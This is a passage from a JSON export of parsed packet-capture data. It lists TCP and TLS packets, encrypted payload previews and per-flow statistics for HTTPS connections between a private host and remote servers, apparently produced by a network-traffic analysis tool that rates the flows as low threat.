\"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 67, \"timestamp\": 1782655308.352906, \"timestamp_iso\": \"2026-06-28T19:31:48.352906\", \"timestamp_human\": \"2026-06-28 19:31:48.352\", \"size\": 481, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"TLS\", \"TLS\", \"TLS\"], \"src_ip\": \"52.97.183.194\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 50425, \"ip_len\": 467, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63997, \"tcp_seq\": 4213683946, \"tcp_ack\": 2486874721, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 32, \"payload_preview\": \"6a977d06f8e20f3101a5912921356c180dbcd40853c13c442ba014589e49cd98\", \"payload_ascii\": \"j}\\u0006\\u000f1\\u0001)!5l\\u0018\\r\\bS<D+\\u0014XI\"}, {\"packet_number\": 70, \"timestamp\": 1782655308.353791, \"timestamp_iso\": \"2026-06-28T19:31:48.353791\", \"timestamp_human\": \"2026-06-28 19:31:48.353\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"52.97.183.194\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 50426, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63997, \"tcp_seq\": 4213684373, \"tcp_ack\": 2486874808, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 72, \"timestamp\": 1782655308.353851, \"timestamp_iso\": \"2026-06-28T19:31:48.353851\", \"timestamp_human\": \"2026-06-28 19:31:48.353\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"52.97.183.194\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 50427, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63997, \"tcp_seq\": 4213684373, \"tcp_ack\": 2486874846, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 74, \"timestamp\": 1782655308.35394, \"timestamp_iso\": \"2026-06-28T19:31:48.353940\", \"timestamp_human\": \"2026-06-28 19:31:48.353\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"52.97.183.194\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 50428, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63997, \"tcp_seq\": 4213684373, \"tcp_ack\": 2486874962, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 75, \"timestamp\": 1782655309.006791, \"timestamp_iso\": \"2026-06-28T19:31:49.006791\", \"timestamp_human\": \"2026-06-28 19:31:49.006\", \"size\": 542, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"Padding\"], \"src_ip\": \"52.97.183.194\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 50429, \"ip_len\": 528, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63997, \"tcp_seq\": 4213684373, \"tcp_ack\": 2486874962, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 77, \"timestamp\": 1782655309.027131, \"timestamp_iso\": \"2026-06-28T19:31:49.027131\", \"timestamp_human\": \"2026-06-28 19:31:49.027\", \"size\": 611, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"_TLSEncryptedContent\"], \"src_ip\": \"52.97.183.194\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 50430, \"ip_len\": 597, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63997, \"tcp_seq\": 4213684861, \"tcp_ack\": 2486874962, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 557, \"payload_preview\": \"c9ade0820c795cad80c0a0b281d79e690de39dbe6894df9ea11ae49b7a488f9873d9f1eac0e1ca373bbba95cca8e694bd7e3c285dc73aa9a4eb08d57c4eb83987981c5c05240f59202c82345dd0885f7571231ccca2432a2243fb23bb79f5fe5307e13e8ef7e8c1b2a2d529b777b8f2a04b0e7a82d66c84670251c0e70da03155f78e46c18e34a85d48b881c5446c5344f0bf0212435a62bd161feed905f5d41f26d8785eb8578b0588e628093347a688e0396dfcf6de89354d66fda6e4304664b89acf1e6c4f95577d78aaeaf5fc12ddf7691192f5047a0b9f1e6b68c40a42d8f7759d87c89ea807353dba575ee337854265ccd73dcbb58fc38023fc37819cef0e6c393dffe316a4cc441424608366dbcbf7f42eae6994ac32ced4a7dae79fd7c149ff2b63aa5f3aa334722518fdd8c17030300d20000000000000004ee986ff14908ed8a8d60b2a3e9a2d3c6d89e761524e897bbe5f07ce32da5b1d772fffbd2ac41542574cca80a3b48925904bdc507fb254e345054a8b73eaff7c5760a692c5c87ae8058f8cf8eb057528d395f01ff6bfd20c5da8ddb22f46f2c9acf93c79836fb55737a711a22282e18ad8c86fcab654c73bf38d4094887891cb56df86d49e6b3c497a07063b00d08b84bfd8f6ca027258c2b446d4c6ff50985c9c519485b39d19587dadd7c85f38e080589fb9b51087c4b50be1534abefd191d1831b74a5957fda8afd9a170303002100000000000000052a62ec5d423bc4b88c9ff440447ad493c122ed0086e5e67861\", \"payload_ascii\": \"\\fy\\\\i\\rh\\u001azHs7;\\\\iKsNWyR@\\u0002#E\\bW\\u00121$2$?;_0~\\u0013~\\u001b*-Rw{*\\u0004-fFp%\\u001c\\u000ep\\u0003\\u0015_xl\\u0018J\\u001cTF4O\\u000b!$5+a_]AmxXb4zh\\u0003mTonC\\u0004fKUw_-v\\u0019/PG@-wY|sSu3xT&\\\\sX8\\u0002?x\\u00191jLABF\\b6m\\u007fBJ,J}y|\\u0014:3G\\\"Q\\u0017\\u0003\\u0003\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0004oI\\b`v\\u0015$|-rAT%t\\n;HY\\u0004\\u0007%N4PT>v\\ni,\\\\XWR9_\\u0001k \\\"o,6Uszq\\u001a\\\"(.\\u0018eLs8\\tH\\u001cmmIpc\\r\\bKl'%+DmLo\\t\\u0019H[9|\\b\\u0005Q\\b|KP\\u00154\\u001bt\\u007f\\u0017\\u0003\\u0003\\u0000!\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0005*b]B;@Dz\\\"\\u0000xa\"}, {\"packet_number\": 80, \"timestamp\": 1782655309.028169, \"timestamp_iso\": \"2026-06-28T19:31:49.028169\", \"timestamp_human\": \"2026-06-28 19:31:49.028\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"52.97.183.194\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 50431, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63997, \"tcp_seq\": 4213685418, \"tcp_ack\": 2486875026, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 81, \"timestamp\": 1782655309.576379, \"timestamp_iso\": \"2026-06-28T19:31:49.576379\", \"timestamp_human\": \"2026-06-28 19:31:49.576\", \"size\": 713, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"52.97.183.194\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 50432, \"ip_len\": 699, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63997, \"tcp_seq\": 4213685418, \"tcp_ack\": 2486875026, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 84, \"timestamp\": 1782655309.581636, \"timestamp_iso\": \"2026-06-28T19:31:49.581636\", \"timestamp_human\": \"2026-06-28 19:31:49.581\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"52.97.183.194\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 50433, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63997, \"tcp_seq\": 4213686077, \"tcp_ack\": 2486875096, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 85, \"timestamp\": 1782655310.47162, \"timestamp_iso\": \"2026-06-28T19:31:50.471620\", \"timestamp_human\": \"2026-06-28 19:31:50.471\", \"size\": 542, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Padding\"], \"src_ip\": \"52.97.183.194\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 50434, \"ip_len\": 528, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63997, \"tcp_seq\": 4213686077, \"tcp_ack\": 2486875096, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 87, \"timestamp\": 1782655310.475832, \"timestamp_iso\": \"2026-06-28T19:31:50.475832\", \"timestamp_human\": \"2026-06-28 19:31:50.475\", \"size\": 194, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"_TLSEncryptedContent\"], \"src_ip\": \"52.97.183.194\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 50435, \"ip_len\": 180, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63997, \"tcp_seq\": 4213686565, \"tcp_ack\": 2486875096, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 140, \"payload_preview\": \"c436098253fddc7c803a8f452a020a904ccc87b874c822de7134c544d52553c40b2127ab1196954f365bb74fc8692a37792bfbace03f219dcd90e6aa100be31e08d269c3c57ed22ba652ffce71399d83abf32cff3bd0490ec85115123031cf018f0cbc9814273c91fce0172171624f44118d80bdf3c057570b7af507fde17d9c5da4da927e371aa260b0780e\", \"payload_ascii\": \"6\\tS|:E*\\u0002\\nLt\\\"q4D%S\\u000b!'\\u0011O6[Oi*7y+?!\\u0010\\u000b\\u001e\\bi~+Rq9,;I\\u000eQ\\u0015\\u001201\\u0001\\f\\u0014'<\\u0017!qbOD\\u0011WW\\u000bz\\u0007}]~7\\u001a`x\\u000e\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 16, \"PSH\": 8}, \"packet_sizes\": [66, 54, 2006, 2466, 54, 481, 54, 54, 54, 542, 611, 54, 713, 54, 542, 194], \"inter_packet_intervals\": [0.0006799697875976562, 0.3977789878845215, 0.01130819320678711, 0.003576993942260742, 0.49071788787841797, 0.000885009765625, 6.008148193359375e-05, 8.893013000488281e-05, 0.6528511047363281, 0.0203399658203125, 0.0010378360748291016, 0.5482101440429688, 0.0052568912506103516, 0.889984130859375, 0.004211902618408203], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 3.0269880294799805, \"avg_packet_size\": 499.9375, \"packets_per_second\": 5.285782383073616, \"bytes_per_second\": 2642.5608301378657, \"min_packet_size\": 54, \"max_packet_size\": 2466, \"median_packet_size\": 194, \"avg_interval\": 0.20179920196533202, \"min_interval\": 6.008148193359375e-05, \"max_interval\": 0.889984130859375}, {\"source\": \"10.152.152.11\", \"target\": \"52.97.250.242\", \"packet_count\": 19, \"total_bytes\": 1779, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ports\": [64004], \"dst_ports\": [443], \"first_packet\": 1782655311.002214, \"last_packet\": 1782655313.076324, \"packets\": [{\"packet_number\": 89, \"timestamp\": 1782655311.002214, \"timestamp_iso\": \"2026-06-28T19:31:51.002214\", \"timestamp_human\": \"2026-06-28 19:31:51.002\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.97.250.242\", \"ttl\": 128, \"ip_id\": 10485, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64004, \"dst_port\": 443, \"tcp_seq\": 4018533604, \"tcp_ack\": 0, \"tcp_window\": 65535, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN\"}, {\"packet_number\": 91, \"timestamp\": 1782655311.002336, \"timestamp_iso\": \"2026-06-28T19:31:51.002336\", \"timestamp_human\": \"2026-06-28 19:31:51.002\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.97.250.242\", \"ttl\": 128, \"ip_id\": 10486, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64004, \"dst_port\": 443, \"tcp_seq\": 4018533605, \"tcp_ack\": 4211336212, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 92, \"timestamp\": 1782655311.002526, \"timestamp_iso\": \"2026-06-28T19:31:51.002526\", \"timestamp_human\": \"2026-06-28 19:31:51.002\", \"size\": 262, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.97.250.242\", \"ttl\": 128, \"ip_id\": 10487, \"ip_len\": 248, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64004, \"dst_port\": 443, \"tcp_seq\": 4018533605, \"tcp_ack\": 4211336212, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 95, \"timestamp\": 1782655311.35317, \"timestamp_iso\": \"2026-06-28T19:31:51.353170\", \"timestamp_human\": \"2026-06-28 19:31:51.353\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.97.250.242\", \"ttl\": 128, \"ip_id\": 10488, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64004, \"dst_port\": 443, \"tcp_seq\": 4018533813, \"tcp_ack\": 4211337676, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 97, \"timestamp\": 1782655311.35663, \"timestamp_iso\": \"2026-06-28T19:31:51.356630\", \"timestamp_human\": \"2026-06-28 19:31:51.356\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.97.250.242\", \"ttl\": 128, \"ip_id\": 10489, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64004, \"dst_port\": 443, \"tcp_seq\": 4018533813, \"tcp_ack\": 4211338164, \"tcp_window\": 1022, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 99, \"timestamp\": 1782655311.357175, \"timestamp_iso\": \"2026-06-28T19:31:51.357175\", \"timestamp_human\": \"2026-06-28 19:31:51.357\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.97.250.242\", \"ttl\": 128, \"ip_id\": 10490, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64004, \"dst_port\": 443, \"tcp_seq\": 4018533813, \"tcp_ack\": 4211341580, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 101, \"timestamp\": 1782655311.398939, \"timestamp_iso\": \"2026-06-28T19:31:51.398939\", \"timestamp_human\": \"2026-06-28 19:31:51.398\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.97.250.242\", \"ttl\": 128, \"ip_id\": 10491, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64004, \"dst_port\": 443, \"tcp_seq\": 4018533813, \"tcp_ack\": 4211342556, \"tcp_window\": 1020, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 103, \"timestamp\": 1782655311.401524, \"timestamp_iso\": \"2026-06-28T19:31:51.401524\", \"timestamp_human\": \"2026-06-28 19:31:51.401\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.97.250.242\", \"ttl\": 128, \"ip_id\": 10492, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64004, \"dst_port\": 443, \"tcp_seq\": 4018533813, \"tcp_ack\": 4211344357, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 104, \"timestamp\": 1782655311.408439, \"timestamp_iso\": \"2026-06-28T19:31:51.408439\", \"timestamp_human\": \"2026-06-28 19:31:51.408\", \"size\": 212, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"TLS\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.97.250.242\", \"ttl\": 128, \"ip_id\": 10493, \"ip_len\": 198, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64004, \"dst_port\": 443, \"tcp_seq\": 4018533813, \"tcp_ack\": 4211344357, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 98, \"payload_preview\": \"61049b6bf61bdaa5b3e2b42b65536bf9e24cf3de41d4c6fa591efc7f1e3787f8ccb8560eafd13dfe7bb69928425db5604e479691cfe42ef6318d082231f43ac751ce83a815b726554402154baa2d325495a22ee0702781702f6960c170bbb9a7e169\", \"payload_ascii\": \"a\\u0004k\\u001b+eSkLAY\\u001e\\u007f\\u001e7V\\u000e={(B]`NG.1\\b\\\"1:Q\\u0015&UD\\u0002\\u0015K-2T.p'p/i`pi\"}, {\"packet_number\": 107, \"timestamp\": 1782655311.74831, \"timestamp_iso\": \"2026-06-28T19:31:51.748310\", \"timestamp_human\": \"2026-06-28 19:31:51.748\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.97.250.242\", \"ttl\": 128, \"ip_id\": 10494, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64004, \"dst_port\": 443, \"tcp_seq\": 4018533971, \"tcp_ack\": 4211344784, \"tcp_window\": 1022, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 108, \"timestamp\": 1782655311.749098, \"timestamp_iso\": \"2026-06-28T19:31:51.749098\", \"timestamp_human\": \"2026-06-28 19:31:51.749\", \"size\": 141, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.97.250.242\", \"ttl\": 128, \"ip_id\": 10495, \"ip_len\": 127, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64004, \"dst_port\": 443, \"tcp_seq\": 4018533971, \"tcp_ack\": 4211344784, \"tcp_window\": 1022, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 110, \"timestamp\": 1782655311.749115, \"timestamp_iso\": \"2026-06-28T19:31:51.749115\", \"timestamp_human\": \"2026-06-28 19:31:51.749\", \"size\": 170, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.97.250.242\", \"ttl\": 128, \"ip_id\": 10496, \"ip_len\": 156, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64004, \"dst_port\": 443, \"tcp_seq\": 4018534058, \"tcp_ack\": 4211344784, \"tcp_window\": 1022, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 112, \"timestamp\": 1782655311.749165, \"timestamp_iso\": \"2026-06-28T19:31:51.749165\", \"timestamp_human\": \"2026-06-28 19:31:51.749\", \"size\": 92, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.97.250.242\", \"ttl\": 128, \"ip_id\": 10497, \"ip_len\": 78, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64004, \"dst_port\": 443, \"tcp_seq\": 4018534174, \"tcp_ack\": 4211344784, \"tcp_window\": 1022, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 115, \"timestamp\": 1782655312.067566, \"timestamp_iso\": \"2026-06-28T19:31:52.067566\", \"timestamp_human\": \"2026-06-28 19:31:52.067\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.97.250.242\", \"ttl\": 128, \"ip_id\": 10498, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64004, \"dst_port\": 443, \"tcp_seq\": 4018534212, \"tcp_ack\": 4211345934, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 116, \"timestamp\": 1782655312.068332, \"timestamp_iso\": \"2026-06-28T19:31:52.068332\", \"timestamp_human\": \"2026-06-28 19:31:52.068\", \"size\": 118, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.97.250.242\", \"ttl\": 128, \"ip_id\": 10499, \"ip_len\": 104, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64004, \"dst_port\": 443, \"tcp_seq\": 4018534212, \"tcp_ack\": 4211345934, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 119, \"timestamp\": 1782655312.645173, \"timestamp_iso\": \"2026-06-28T19:31:52.645173\", \"timestamp_human\": \"2026-06-28 19:31:52.645\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.97.250.242\", \"ttl\": 128, \"ip_id\": 10500, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64004, \"dst_port\": 443, \"tcp_seq\": 4018534276, \"tcp_ack\": 4211346531, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 120, \"timestamp\": 1782655312.646407, \"timestamp_iso\": \"2026-06-28T19:31:52.646407\", \"timestamp_human\": \"2026-06-28 19:31:52.646\", \"size\": 124, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.97.250.242\", \"ttl\": 128, \"ip_id\": 10501, \"ip_len\": 110, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64004, \"dst_port\": 443, \"tcp_seq\": 4018534276, \"tcp_ack\": 4211346531, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 123, \"timestamp\": 1782655313.070585, \"timestamp_iso\": \"2026-06-28T19:31:53.070585\", \"timestamp_human\": \"2026-06-28 19:31:53.070\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.97.250.242\", \"ttl\": 128, \"ip_id\": 10502, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64004, \"dst_port\": 443, \"tcp_seq\": 4018534346, \"tcp_ack\": 4211347471, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": 